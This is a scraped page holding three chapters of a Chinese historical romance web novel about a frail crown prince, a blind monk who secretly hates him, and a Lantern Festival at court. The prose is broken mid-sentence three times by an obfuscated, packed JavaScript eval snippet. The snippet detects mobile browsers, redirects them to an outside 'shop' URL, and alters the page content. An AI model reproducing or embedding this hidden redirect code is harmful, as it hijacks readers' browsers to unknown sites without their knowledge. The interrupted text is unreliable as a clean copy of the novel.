《月下山君》 1. 云移稚尾开宫扇1 “奉敕:上元佳节——” “如是我闻。一时,佛在舍卫国祇树给孤独园,告弟子舍利弗言。” “放灯三日——” “舍利弗!彼施灯者,所得福祉无量无边,不可算数。” “特许夜游——” “舍利弗!若彼众生于佛塔庙奉施明灯,以此奉施所作善业,能获安乐、可乐之果。” “金吾不禁——” “舍利弗……” “殿下,时候不早了。”金吾卫的马蹄还未远去,东宫内侍乐寿的声音紧接着从门后传来,“圣驾已从含光门出,往玉祥楼去,您该更衣了。” 门内没有回应,说法声还在继续。 “若有众生于佛塔庙施灯明者,得于四种可乐之法。” “殿下,臣进来了?”乐寿一边说,一边推开门。 “何等为四?曰色身,曰资财,曰大善,曰大智慧。” 暮色四合,霞光一线。 慈云寺精舍内,太子李颐与僧人妙觉相对而坐,一着霜袍,一着缁衣,颇有阴阳两极之美。 乐寿躬身入内,先向李颐问安,又笑道:“阿觉法师佛法高深,听得我如痴如醉。” 他话说得和气,却分明在责怪妙觉耽误了李颐的时间。 妙觉岂不懂他的言下之意,只能缄口不言。 乐寿扳回一局,又对李颐道:“殿下请更衣。” 李颐道:“就在这儿换吧。” 乐寿不明所以:“在……” 精舍是妙觉打坐修行的地方,他素来苦修,这儿都没个屏风遮拦,在这里换衣服,太子玉体岂不被人看去? 乐寿本不赞同,又想不能再拖了,况且这里除了妙觉和东宫内侍官外没有别人。 而妙觉是个天生瞎子。 那就没事了,换吧! 于是一挥手,侍从捧巾栉衣饰鱼贯而入,为李颐更衣。 李颐站起身,伸展双臂,任侍从脱去他身上丝绫,对妙觉道:“你方才说,燃灯祈福本是释教传统,可获无尽福祉,正好上元节放灯游赏,万民欢庆,你怎么不愿与我同去?” 原来是为了抓紧时间劝说妙觉随他去上元灯节。 在李颐玉白的胴/体前,妙觉紧闭双目,身形端直,声音柔和,唤着他的乳名:“善思,听说每年上元节玉祥楼前就会摆一座二十丈的灯塔,上可燃灯五万盏,而塔尖的那一盏,是陛下为你一人供奉的,是吗?” “是。”李颐笑道 “我也为你供奉了一盏灯。”妙觉说,“你在尘世间的尊位,由陛下赐予;而我,为你做净土上的祈祷。” 红地金绣的对鹿纹锦袍爬上李颐身体,他肌肤莹白如月,眉目昳丽异常,哪怕有三分捧心病态,也没有被身上锦绣夺去半点光芒。 穿戴完毕,他垂落手臂,用一双含情目望着妙觉。 如果妙觉能睁开眼睛,看见此情此景,一定不忍拒绝李颐的邀请。 可他眼前只有一片漆黑。 “善思,你去看灯吧。” “今夜,我只愿为你祈福。” 李颐还要再说,乐寿一望天色,又催促道:“殿下,待会儿人要多起来了。” 玉祥楼是皇城最高点,每年元宵,皇帝就会登临此楼与民同乐。天一落黑,百姓们为了观瞻圣容,就会争相往此地涌去,休说车马不通,就是好好走在路上也会被挤到天上去。据说去年有人被挤得双脚离地,被两边路人用肩膀夹着走了一里路不止。 再不去,就赶不上了。 李颐恋恋不舍地收回目光,推门离开。 妙觉端坐精舍当中,良久才从蒲团上起来,弯腰在地上摸索。 撩起李颐方才褪下的霜袍。 在严寒的冬季,他手上的这件衣袍轻盈如绡,触手生温,不知道是哪国进贡的无价之宝,就这样被随意扔在地上,源源不断地向他传达独属李颐的气息。 鬼使神差地,妙觉低头一嗅。 苏合香丸是李颐常年携带的药,雪中绿梅是李颐熏衣香,两者混合成了一股凉而甜的芬芳。 等等,还有一点腥膻,动物皮毛,还有点涎水味…… 这是什么? 他讨厌李颐身上出现陌生气息,一直皱着眉头嗅闻,直到在袖口闻到了一股檀香,心情才稍微好一些。 那是他腕间的沉檀。 李颐拉着他的手软声哀求,请他陪他去玉祥楼过节。 抬起脸,妙觉把李颐的衣物挽在臂上,走出房门,唤来沙弥:“把衣服收好。” 沙弥双手捧过衣物,准备离开,又忽然被他叫住。 “方才叮叮当当的,是什么声音?” “是太子身上的环佩。”沙弥说,“他走起路来的样子像一只仙鹤。” “仙鹤?” “是一种美丽的鸟,寺中就养着几只。我抱来给师叔摸摸吧?” “好。多谢你。” 沙弥抱衣走远,妙觉摸索着继续往前,直到足尖抵住护栏,才堪堪止步。 慈云寺宏丽壮观,妙觉自小在寺中修持,又曾受长宁长公主抚养,地位超然,得以独居一座三层小楼。 小楼风景好、视野佳,可惜他看不见。 高楼下的风景,熙熙攘攘的人群,金吾卫在朱雀大街上来回奔驰的身影,李颐远去的白马香车,还有皇帝李知微在玉祥楼前点亮的二十丈高巨型灯轮…… 他眼前只有一片混沌。 静静站着,嗅着夜风。 不一会儿,沙弥抱来一只仙鹤:“师叔,师叔,这就是仙鹤。” 妙觉伸出手去。 对于仙鹤,他并不陌生,但他从来没有把仙鹤跟李颐联系起来过。 仙鹤有羽毛,有翅膀,爪子是尖的,体温很高;而李颐浑身光溜溜,不会飞,手掌绵软,几乎摸不到骨头。 体温很低。 这两个东西怎么会一样? 摇摇头,妙觉又走进夜风中。 沙弥把仙鹤放下,亦步亦趋跟上来:“太子殿下请您一起过节,您为什么不同意?” 妙觉淡淡道:“既然看不见,又何必凑这个热闹。” 沙弥忍不住道:“哪怕听个响也好啊。” 上元节是一年中最盛大的节日,若是妙觉师叔能坐在太子身边,那将是慈云寺乃至整个佛门的荣光。 毕竟,如今的慈云寺地位尴尬。 慈云寺是皇家寺庙,可问题就出在这皇家上。 慈云寺是大约三十年前显宗皇帝为母亲文惠皇后崔氏修建的,按理来说,下一任皇帝该是显宗皇帝的儿子、文惠皇后的孙子,孙子崇奉祖母,慈云寺地位自然屹立不倒。 可谁成想显宗皇帝六个儿子没一个活下来;再加上之前夺嫡兵变,近支宗室是死的死残的残。 最后皇位落在了一个远支宗室,也就是当今天子李知微头上。 今上雅好文学,从小在昭文院读书,原本都准备入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328922|199146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仕为官了,却不成想做了皇帝。他做皇帝前爱读书,做皇帝后也雅好儒术、扩大科举,一时间万般皆下品,无论佛道都偃旗息鼓、门庭冷落。 要不是太子殿下偶有驾幸,慈云寺哪还有今日风光。 在沙弥眼里,妙觉若是能在上元节灯会上坐在太子殿下身边,必然会让天下人都知道慈云寺的分量。 更何况…… 太子是那样尊贵、虔诚、美丽。 美丽和美丽之间是泾渭分明的。 寺中香客如云,沙弥也自问阅人无数,有人明艳,有人温婉,有人望之可亲,有人不可高攀。 而李颐的美丽则像松间洁雪,天边絮云,让人只敢远观而不敢亵/渎,害怕日出蒸干白雪,风来吹散彩云。 脆弱、易碎,仿佛天底下最精致的水晶琉璃,一个粗重的呼吸就能把他…… 正浮想联翩之际,妙觉忽然说:“你心不静。” 沙弥如听警钟,悚然失色,顶礼道:“弟子告忏!” 妙觉没理会他,转身往旁边的小佛堂走去。 如李颐所说,上元节放灯的习俗来自佛教燃灯供佛,天竺佛历十二月三十日,即佛大神变月满之日,也刚好是中土的正月十五。 此刻,慈云寺各殿中都供满了鼎贵豪族的长明灯祈福牌,彻夜唱经,钟磬不绝。 妙觉的佛堂却分外寂静,无人搅扰。 二十五岁的缁衣僧人缓步入内,穿着朴素,眉目沉静,长身玉立,仰头对着如来佛像。 佛像下,只供着李颐一个人的长生牌。 长生牌下,九十九盏莲华香烛列开,以琉璃灯罩护持,火光常年不灭。 妙觉走到火前,探出手去。 火没有形状,千变万化,不触摸也能感知存在。 再一次,妙觉想起李颐凉而软的手,手上苏合油的味道,发间耳后的清香,藕丝一样轻而黏的声音。 李颐是病弱,冰凉,纤细而敏/感的,尤其是冬天,他的手会莫名其妙从哪里蹿出来,贴在妙觉的后脖上,或拎起妙觉的手腕,观看摩挲他腕间的香珠。 他现在在哪里?应该快到玉祥楼了吧,和他的父亲一起接受万民拜舞欢呼,被那群不学无术的纨绔子弟团团围住讨好奉承,看着那盏为他燃起的二十丈高的灯轮,杂耍、歌舞、表演…… 看着属于他的帝国。 妙觉猛然向火上抓去。 火苗被压下又蹿起,直直烧在掌心。 烫到极致反而还有点凉,紧接着是一点麻痒,却并不痛。 痛也无所谓。 他最爱火,火伤害他,他也甘之如饴。 他恨李颐,所以,李颐对他再好也没有用。 李颐对他的好,不过是帝国太子顺手施为的一点恩惠罢了。 可李颐的太子位是偷来的! 他的权势、地位,无限风光乃至于寿命,通通都是偷来的! 李颐和他的父亲李知微,是天底下最大的贼。 物竞天择,像李颐这种先天不足的人生下来就该死,怎么配活到十八岁? 妙觉跪地俯身,叩长头祈祷,烧伤手掌摁在冰凉砖上,灰尘滚进肌肤。 他痛得发抖,恨得发抖。 “世尊!弟子妙觉恭敬顶礼,祈请发愿。” “愿大绛皇帝李知微、太子李颐——” “不得好死。” 火光镀过他额上因磕头礼拜留下的茧,竟像一只含而未发的龙角。 2. 云移雉尾开宫扇2 “上元灯烧天,天烧上元灯……大家当殿坐,看唱幸酒歌!” 玉祥楼下搭起一座高台,一个军汉领头,数十妇人相和,冲着楼上的皇帝唱起歌来。 不同于严肃的元旦新年,上元节完全是一个狂欢日。 元旦的时候,皇帝在宫中接受百官、万国朝贺,等到了上元节,他会从深宫中走出来,登临玉祥楼与万民同庆,通宵彻夜,凌晨方归。 这也是寻常百姓一年中罕有的面圣时刻。 正月十五天刚亮,就有人在玉祥楼下排起长队,到晚上更是水泄不通,若非有栏杆和金吾卫保着,恐怕人群顷刻间就能冲垮一栋楼。 玉祥楼楹间挂着灯球,羽林卫穿花袍,执华盖、掌雉扇,排立两旁。 雉尾扇迟迟不曾移开,百姓在楼下只看见皇帝身形却不见御容,竞相喧呼:“请见十六郎!”“十六郎,请开扇!” 皇帝李知微在家中排行十六,坊间因有此称。 羽林卫听见民众呼声,不由眼神往后一瞟,等待皇帝下令开扇,让妇孺耆老得以观瞻圣颜。 皇帝不发一言。 旁边,内侍省都知陆怀谷轻声提醒道:“大家,吉时要到了。” 皇帝终于动了动:“善思还没好吗?” 陆怀谷知道,这是皇帝想和太子一起出现在民众面前。 前几年太子出阁礼后大病一场,都城中就一直风传太子命不久矣,登楼宣慰百姓本是帝王特权,皇帝今天这么做,也是想大家伙看看太子,让谣言不攻自破。 毕竟,太子重病以后,已经两年没有出现在人前,与官员们都几乎没有交流。 “小郎方从外头回来,如今正在换衣服,臣去瞧瞧——令狐,叫人再演几个应景的戏来看,今日节庆,也叫百姓和乐。” 为皇帝捧香炉的羽林卫应声出列,领命而去。 百姓们虽没有见到皇帝的影子,但教坊弟子歌乐升平、舞姿曼妙,军汉相扑也是精彩非凡,一时间倒仍然欢声鼎沸。 玉祥楼内,东宫内侍官乐寿汗如雨下。 这是他人生第二次受到如此严峻考验。 第一次,是李颐十五岁出阁那回,头几天还好好的,越临近越出岔子,不知是紧张还是怎么的,李颐先是浑身起疹,紧接着倒嗓,偏又要强,不让乐寿告诉皇帝,撑到出阁那天,脸都肿了一圈,还是硬穿上礼服出门,结果在太庙斋宫受风一吹,大病一月,小病一年,差点没救过来。 陆怀谷把他骂得魂飞魄散,说太子殿下的任何事情都得让皇帝知道——那可是皇帝唯一的孩子,天底下最金贵的独苗,要不是看在你从小侍奉的份上你早就死无全尸了! 第二次,就是现在。 李颐病过十六岁,养过十七岁,终于在十八岁开年的时候两颊丰盈有了肉感,行动如常,皇帝正准备趁着上元节带他露面,结果,他跑到慈云寺险些误了时候还不算,手腕上竟然又发出红疹来! 噩梦一样的红疹,从前就是从发疹开始,最后受了风吹酿成大病,乐寿内心大喊我命休矣:“拿药膏来!”又一叠声问李颐:“殿下,晕不晕?还有哪里不舒服的?” 李颐撸起袖子,见右臂通红一片,想抓又不敢抓,又怕李知微知道,自己和乐寿两个屏退众人,偷偷用酒擦拭降温:“有袖子遮着看不见,晚些再说。” 乐寿哭丧着脸:“要是让陛下知道……” 恰巧这时陆怀谷走进来:“殿下……” 李颐神色从容地放下袖子,站起身:“走吧,陆都知。” 乐寿呆站在原地,好半天才反应上来,追了上去。 那边李颐已经随着陆怀谷登楼,走到皇帝身边。父子俩一坐一立,容貌肖似,气韵却不同,如两个玉人般在椽烛底下烨烨生光。恰好台下舞歇歌散,百姓们又争相道:“请见天表!” 李知微一点头。 噔—— 钟声敲响,层层雉扇如云散开,露出天家父子面容,一刹那天地增辉,整个玉祥门都被欢呼摇撼,皇帝起身,在烛上引火,点亮手中宝灯,把它交给太子。 传说中二十丈高的巨型灯轮就在玉祥楼畔,李颐伸出手,便将宝灯放到凹槽上,霎那间灯轮启动,将李颐的灯送到最高处。 远远看去,几夺月色。 皇帝宣布:“上元佳节,与卿等同庆。” “万岁!万岁!万岁!” 舞台上表演继续,皇帝每一个时辰都派身边的羽林卫下去与民同乐,或出诗或行酒令,对出者得金杯酒,或赐逾七十者粟,又或者选出与太子同生辰者阖家免税一年;又或者属兔者赐缎一匹等,由头繁多层出不穷,却都是为太子铺路。人人兴奋鼓舞,不知疲倦,直到过了亥时,皇帝方起驾回宫。 车驾后头,遥遥还能听见万岁声。 李颐养病时关在宫中许久,不见外头的热闹繁华,此刻更是意犹未尽,依偎在父亲身边滔滔不绝,一会儿说军汉们相扑好玩,一转头又嫌弃大男人们摔跤不美观,女子相扑好看,或是《落梅花》的歌应景,梅去春来,正是好一番景色,又对着李知微说了一通吉祥话,口舌伶俐得很。 无论李颐说什么,李知微一律含笑听着,又问他:“今天一大早上就出门去慈云寺叫阿觉了,怎么最后还是一个人来?” 李颐含糊应了两声:“嗯,他不大喜欢热闹。” 其实他心里也清楚妙觉为什么不来,上元节最要紧的就是看灯,妙觉看不见,又好静,自然兴致缺缺。 但他就是很想让妙觉在自己身边。 他大病过几场,小时候的事已记不大清楚了,只记得父亲登基前,他住在一个小院里,后来他长大了,就走出小院,和妙觉认识;父亲登基后,他成了太子,却因为身体病弱,宫人们小心翼翼,生怕给他吃错一口东西、喝错一口水,至于同龄的贵族子弟们,虽然被父兄逼着来陪病中的他说话,也像在油锅里煎熬一样坐立难安。 无数个痛苦日夜,只有妙觉陪在他身边。 他想让妙觉参加他人生中所有重要的时刻:“上次我出阁,他就来了呀。” 李知微道:“你邀请了,不必强求结果。” 李颐闷闷地应一声,又道:“要是能再出一次阁就好了。” 对于太子来说,出阁礼就是成人礼,不仅有告庙、加冠这些表面仪式,更代表他离开宫廷,正式走到台前,履行储君的职责,譬如与皇帝一起听经筵,再譬如今天和皇帝一起在玉祥楼露面,等等等等…… 还代表着他可以在宫外建太子府,与朝臣接触,开始拥有自己的东宫班底。 结果他的出阁礼,他的脸!他头一次在外面露脸,脸竟然是肿的,把眼睛都挤花了。要不是今天出来露脸,别人还以为他是只发了腮的公猫化成精了呢! 李知微笑着点了他一下:“要不要年年给你出一次?” 说话间,车驾驶入宫门。 李颐在父亲身边腻歪:“那倒不用,往后好好做吧。” 李知微给他派数,出阁之后下一个大庆典或许是李颐二十岁的生日,又或许是他的纳妃仪式。 说到这里,父子俩都安静下来。 李颐悄悄招供:“姨母前几天进宫来,和我说窦家有个女儿容止俱美,叫我过几日去慈云寺时,跟她隔着帘子见一面。” 李知微的发妻,李颐的母亲昭德皇后薛妙持有一弟一妹,其中幼妹薛妙施嫁给了窦家的窦天龄,这是在为李颐介绍夫家的女儿。 李知微皱眉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328923|199146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想说妻妹胡闹,又不大好在李颐面前开口:“你想去吗?” 李颐道:“难道爹爹心中没有人选?” 皇太子成亲又不是一拍脑袋的事,太子妃是下一任国母,生下的孩子是下一任皇帝,不知道要多少世家哄抢争夺,李颐是生了病才晚了岁数,不然,皇太子纳妃应该就在出阁礼的后一年,也就是十六岁的时候。 十六岁的太子,有了东宫班底和岳家助力,才能称得上羽翼丰满,有了接班的能力。 李知微道:“要紧的是你喜欢。” 李颐问:“我喜欢的话,谁都可以吗?” 李知微笑了一下,摸摸李颐的头发:“对。爹爹是皇帝,若在这种事上都不能叫你快意,还有什么意思?” 李颐没有目标,但不知为什么,靠在父亲肩头笑。 过了一会儿,车驾停下,二人下车,原本要改坐步辇回宫,李知微说今夜天气和暖,不如步行,又让李颐穿好衣服,裹了风帽,二人在羽林卫护送下,在宫道缓慢踱步。 李颐抬头望向中天明月,此时良辰露尽,已经是正月十六日,月亮似乎比十五日更圆了些,正打算和父亲分享自己的发现,却不想父亲对旁边一个侍卫开口:“令狐。” 人群中应声走出个高大俊朗的男子。 金吾卫管京畿治安,羽林卫则是皇帝近臣,要的不仅是家世好,忠心,更要赏心悦目,至于武艺那是其次中的其次,因有花架子的谑称。 李知微温言道:“方才你传令传得好,捧炉的姿势也煞好看,这炉送你吧。” 皇帝出行仪驾用的炉,不是寻常手炉,而是鹊尾炉,顾名思义,形如鹊尾,状如拂尘,分成炉柄和炉身两块,炉柄细长,雕着游龙狮虎,远远挑着炉身,如此制作,为的是不让侍卫的体味染杂了香炉的味道。 捧这东西也有水平高低? 李颐心下不解,见这男子三两步上前谢恩,姿态恭顺,肃拜时手背上晃过四五个拇指盖大小的紫疤,疤外还有四五条老长的黑红血痕,实不美观。 不应该啊。 羽林卫选拔严苛,身上有大块胎记的都不要,手上有疤痕,终年遮不住,如此有碍观瞻,肯定是要出局的。 再一细看,陆怀谷给令狐侍卫递香炉时,香炉的镂空盖头底下装满了小金珠子。 单一个香炉,李颐自然无动于衷,加上这个金珠子倒叫他纳闷。 若说御用香炉是恩典,里头放这么多金珠子干什么?那都是大路货,也没有刻宫廷印章,顶多是纯度高些罢了,还很沉,且不美观。 等等,他不也有金珠子吗? 送了不就知道了! “陆都知。”李颐扬声,从袖中掏出一只老虎玩偶。这老虎如婴儿手掌大小,上有环扣,极适合佩在蹀躞带上,两只眼睛是用金豆子做成,栩栩如生,“这个也送他。他全名叫什么?” 陆怀谷使了个眼色,那侍卫走上前来,朝李颐谢恩:“臣令狐纨,叩谢殿下。” 李颐记下这名字,李知微见了儿子举动,也不阻拦,并且一下子就猜出了来历:“这是范阳送来的新年礼?” 当朝宗室里,只有齐王一脉远在范阳,李知微说的就是他们家,新年新禧,齐王自然要给皇帝送礼,皇帝再回赐,李颐作为太子自然也有一份。 齐王是皇叔长辈,不方便直接送李颐礼物,都是以世子李攸简的名义。 说到这个,李颐没好气:“除了他,也没人这么无聊。” 虎年送老虎,兔年也送老虎,十多年过去,新年、上元、端午、中秋……年年都是老虎,回回都是老虎,公老虎母老虎大老虎小老虎,老虎枕头老虎配件老虎娃娃老虎摆件,除了老虎还是老虎! 毫无新意! 3. 云移雉尾开宫扇3 “令狐纨这个人,你知道么?” 李颐回到重华宫已是破晓时分,太阳还没跳出来,云彩灰沉沉的,乐寿怕殿内地龙太热李颐受不了,先引他在温度稍低些的耳室坐了会儿,又要看他胳膊上的疹子。 李颐一边撸起袖子任他看,一边抬手招来了薛洽。 关中薛氏是李颐母族,薛洽是李颐表兄,前朝宰相薛延清的孙子、兵部侍郎薛如曜的儿子,出身可谓显赫。 十五岁那年的出阁礼出了意外,李知微不放心儿子出宫,索性把重华宫扩建,弄了个东宫官署出来。有这样一层亲戚关系,薛洽顺理成章进了东宫官署镀金,说是羽林备身,其实就是个玩伴,刀枪棍棒样样稀松,吃喝玩乐倒颇为精通。 李颐因母亲生产时去世,对母族极为纵容,对薛洽更是厚待。况且薛洽也就是本领疏松,又没有什么恶习,譬如今日,李颐去玉祥楼上看灯,他也老老实实待在重华宫站岗。 而且反应也很快。 李颐一问,他立刻道:“别人我或许不晓得,他么,我倒是清楚!”他原本在门边站着,以为是李颐热才撸袖子,凑近一看,见他白生生、细伶伶一条胳膊上发满了红疹,急道:“殿下这是怎么了,怎么还不叫医官来?” 李颐道:“大半夜的,叫医官必然惊动爹爹,我这是常有的毛病,涂点镇静的膏药就是了。” 薛洽小心翼翼搀着他走到寝殿中。 说起来李颐这寝殿也奇特,人家卧房都以聚气为美,做的小而精,李颐则不然,他常年生病,不能到外头受风吹,卧房就做得特别大,约莫五六间大小,兼具起居、读书、游乐的功能,只是用纱帘屏风隔开,甚至还有个小迷宫,人待在里面十天半月都不显得烦闷。 薛洽挤过乐寿,净了手,把药膏在手心暖热了往李颐胳膊上涂:“没来没由的,怎么犯起来?” 李颐的药膏里有一味冰片薄荷可以止痒,被薛洽一捂,都热化了,没了止痒功能。薛洽还刨根问底,李颐心里不耐烦,又不想对他生气,恼道:“还不是李攸简!” 薛洽有些惊讶地抬起头来。 李颐这个人,受皇帝娇宠长大,当年皇帝还在读书的时候,为了他就没有续弦,登基为帝以后,大臣建议广纳嫔妃,皇帝也拒绝了,说是怕东宫不安,十来年愣是后宫空置。 皇帝都为他做到这份上了,别人哪里还敢惹这宝贝疙瘩,因此李颐说话总是轻声细语,颇有些无欲无求的意味。 无欲无求,全因为他爹百依百顺啊! 但论起来,李颐这人也还算不错。 人病着,木头一样在床上躺,有进的气没有出的气,看别人生机勃勃活动自如,多少要生出恨意,譬如许多宦官发达了以后都以在床上折磨人取乐,便是恨自己断了子孙根,是个残缺之人。 可李颐呢,病得狠了,也只是自己朝天哭一会儿,痛得撞床柱也从不拿宫人撒气——就是薛洽自己,有一两件事不顺心时,也爱拿下人打骂出气。 这样一个人,说起李攸简时竟有些嗔怨,怎不叫人心生好奇。 “他不是在范阳吗?” 室内温暖,李颐脱了半臂衣服,在胳膊上厚厚涂了一层药膏,才觉得舒服些:“是他送的老虎。” 又和薛洽说李攸简送礼的癖好,一般老虎玩偶是布做的,他那个真是用老虎毛扎的,老虎和猫一样,也爱舔毛清洁,这玩偶闻起来还有股虎涎味,偏偏李攸简还振振有词,说什么老虎是纯阳之体,送给他辟邪正好。 薛洽听到这里连忙应承李颐,说殿下是真龙下凡诸恶避退,压根不需要林间大虫来辟邪,李攸简就是咸吃萝卜淡操心。 李颐听他骂了两句李攸简,一边舒坦,一边又觉得李攸简罪不至此,才把事情说囫囵了。 原来这礼物是算好的,从范阳到永乐刚好元宵节,李颐原本打开来在看,刚好要去慈云寺,便随手揣在袖子里,直接贴住皮肤,一个没注意,惹了一身老虎口水不说,还起了疹子。 薛洽心想你也是自找的,李颐不能碰动物毛发,有时候见着柳絮蒿草也要犯呛,他们几个在东宫服侍的人都不敢在家里招猫逗狗,怕传给李颐,结果他自己倒好,揣着个虎毛娃娃满天逛。 也不想想自己连猫都受不了,还老虎呢! 不过,李颐这么讨厌李攸简,他也就顺着说了几句,甚至有些捕风捉影:“说起来,李攸简的娘,齐王妃不是出身太原王氏吗?从前倒有一桩事……” “嗯?” “当年显宗皇帝无后,要在宗室中选贤王为帝,早选中了陛下,因为齐王血脉最近,怕他们不服生事,便将他们贬到了范阳去。结果显宗皇帝病笃,王家竟联合田怀恩在含光门起兵,要迎齐王归京……可见他们在宫里有不少眼线。” 仁宗、显宗两个皇帝,元配都是太原王氏,和如今的齐王妃一个姓,三十年前,太原王氏说是天下第一豪族也不为过,自然现在风水轮流转,裴家靠着裴见濯,薛家靠着昭德皇后平分秋色,王氏除了在蜀地有个刺史官外,早就一蹶不振了。 薛洽自然不介意落井下石一把。 “殿下,他送这个老虎……送什么不好,偏偏要送老虎,说不定是窥伺过殿下床帐,殿下常年陪在身边的娃娃不就是一只老虎吗?” 李颐床上的确有一只十多年的旧老虎玩偶,从小陪着他睡觉,李颐养成了习惯,每天入睡前都要抓着它才舒服。这倒不是什么秘密,至于李攸简送来的礼物,纯粹误打误撞罢了。 “李攸简送老虎,是因为他属老虎。他这人虽然……这种大罪倒不可能,你多心了。” 薛洽从进宫的第一天开始就被人教育对李颐要顺毛摸绝不能逆毛撸,不然把太子气坏了全家都得玩完,立刻改舵: “臣并不是说他要犯什么大罪谋逆,只是上次范阳卢家有人到家里来和臣说起,臣听说……听说他在范阳总是吹嘘自己……” 李颐把手搁在桌案上,乐寿为他把药膏擦了,又上一层,就摩擦两下的功夫,李颐的皮肤瞬间红了一层,脆得仿佛要喷出血来,看得薛洽眉头一跳一跳,恨不得替李颐起这个疹子。 李颐倒习惯了,不以为意,只是皮肤实在痒,皱着眉头,听起来没好气:“吹嘘什么?” 薛洽连忙道:“他说自己和殿下什么相交莫逆,什么青梅竹马,什么生死相许,说的真真的,还说每年给您送礼物和您,额,传情,说您总是给他回十好几抬的东西,和嫁妆似的从东门摆到西门,给他写的信都有厚厚一沓,吓得卢家都来问臣有没有这回事。” 真是属老虎的,扯张虎皮做大旗! 胡说八道! 所谓青梅竹马,是显宗皇帝晚年时膝下寂寞,找了几个宗室后辈进宫解闷,齐王血脉近,李攸简自然榜上有名,他么,当时他爹爹都是内定太子了,他就是半个皇孙,自然也进宫,更况且当时还有别的孩子,五六岁的孩子一起呆小半年,还能凑上生死相许了? 还什么传情,更是无稽之谈! 李攸简空手套白狼,几根老虎毛骗他一大堆回礼! 他给李颐送东西,李颐能不回么,不仅得回,还得摆出太子的阔气,狠狠回,好好回,再加上范阳苦寒,他难免可怜李攸简的生活,永乐有什么新鲜的吃用,便让乐寿给李攸简装一份走,但绝不是什么嫁妆似的厚礼! 至于写信,更加可笑! 李攸简小时候倒很写过几封长信,有时候还会给李颐他穿的衣服,叫李颐比在身上,好知道他现在有多高,李颐觉得挺好玩,也会把自己的衣服送给他叫他比,但那都是很久以前的事了,李攸简刚去范阳的时候。 后来,他大概是有了新朋友吧,信也就写得越来越短,李颐原本有些失落,但又觉得这么失落,倒显得只有自己一直停在原地。 因此,也不再多回。 李攸简说的厚厚一沓信,该不会是礼单吧? 这也给他炫耀上了! 可转念一想,齐王一家也实在是惨。范阳饱受异族侵扰,人情与都城大不相同,再加上先老齐王和王竑造反扯上过关系,齐王手中无兵无人,李攸简在范阳的日子,恐怕和软禁没什么区别。 软禁就得仰仗看守,除了搬出李颐吓人以外,也没别的招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328924|199146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数了。 卢家这么着急忙慌来询问,这么心虚,恐怕对李攸简一家不好。 自己嘴上饶一句,李攸简日子也松快些。 于是沉吟片刻,转了话风:“嗯……倒也不算吹嘘。” 薛洽草容失色:“啊?!……啊!” 他才不会说自己早就对卢家矢口否认了。 薛家是李颐的母家,李颐在深宫,所有的人想要巴结太子都得通过他们薛家,他们就是李颐的代言人,是绝对不能代言出错的。 于是连忙扯开话题道:“殿下怎么忽然想起令狐纨?” 李颐这才想起来把薛洽叫过来的正事,心里又埋怨李攸简这个多事精:“今天瞧见他手上疤痕颇多,想羽林卫应当是不会招伤痕明显者,想着他是不是当差时磕碰的?有没有抚恤过?” 薛洽:“……” 李颐的疹子上过三遍药以后,拿透气的凉丝裹好:“你这是什么表情?” 薛洽艰难道:“殿下,其实那个叫冻疮。” 李颐点头:“哦,冻疮是个什么伤?” 薛洽:“……殿下,冻疮是冻的,冬天太冷,手干裂肿起来了,涂点油就好了。” 李颐奇道:“那他怎么不涂?” 薛洽心想还好这会儿是他们私下里说话,不然李颐也要被安个何不食肉糜的罪名遗臭万年,不过李颐也不是真的痴子,惠帝问老百姓吃不起饭怎么不吃肉,李颐问话的对象是羽林卫。 羽林卫又不是人人都当得的,非世家子弟,连竞选的资格都没有。 薛洽道:“那个,他们家吧,有点特殊,就是有点穷。” “穷?” 同是羽林卫,薛洽属于东宫这一拨,令狐纨则在皇帝身边侍奉,二者风马牛不相及,能记住此人,实在是令狐纨穷得太出名。 此人是先朝宰相子孙,并非嫡系,生父据说还是个赌鬼,赌红了眼出门摔死了,还给他留下了一屁股债,一个不好惹的后娘跟三个嗷嗷待哺的弟妹,虽说因为好看进了宫,可还不够填窟窿的。 当了羽林卫,债主们更有恃无恐,敢不还钱就告衙门,保管叫他前途尽毁。 “他那点俸禄,还还债也够了,按理说不该如此落魄。不过,令狐纨自己的亲娘早逝,后娘生了三个孩子,到处是用钱的地方,这后娘也是娘,若悖逆也是不孝大罪,令狐纨想必是把钱交给了她,才身无分文,生出满手的冻疮,连油也没处使,听说休沐时还要去山上砍柴贴补家用呢。” 去山上砍柴?永乐城里又没有山,砍柴不得到下面县里去? 原来爹爹真正要给令狐纨的不是那个香炉,而是香炉里面的金豆子,这东西可以换钱用。李颐这才明白过来。 我不该给他那只老虎的。没用的李攸简,没用的老虎,除了眼睛上两粒金子外一文不值。 我该给他几瓶膏药,远比老虎来得实惠。 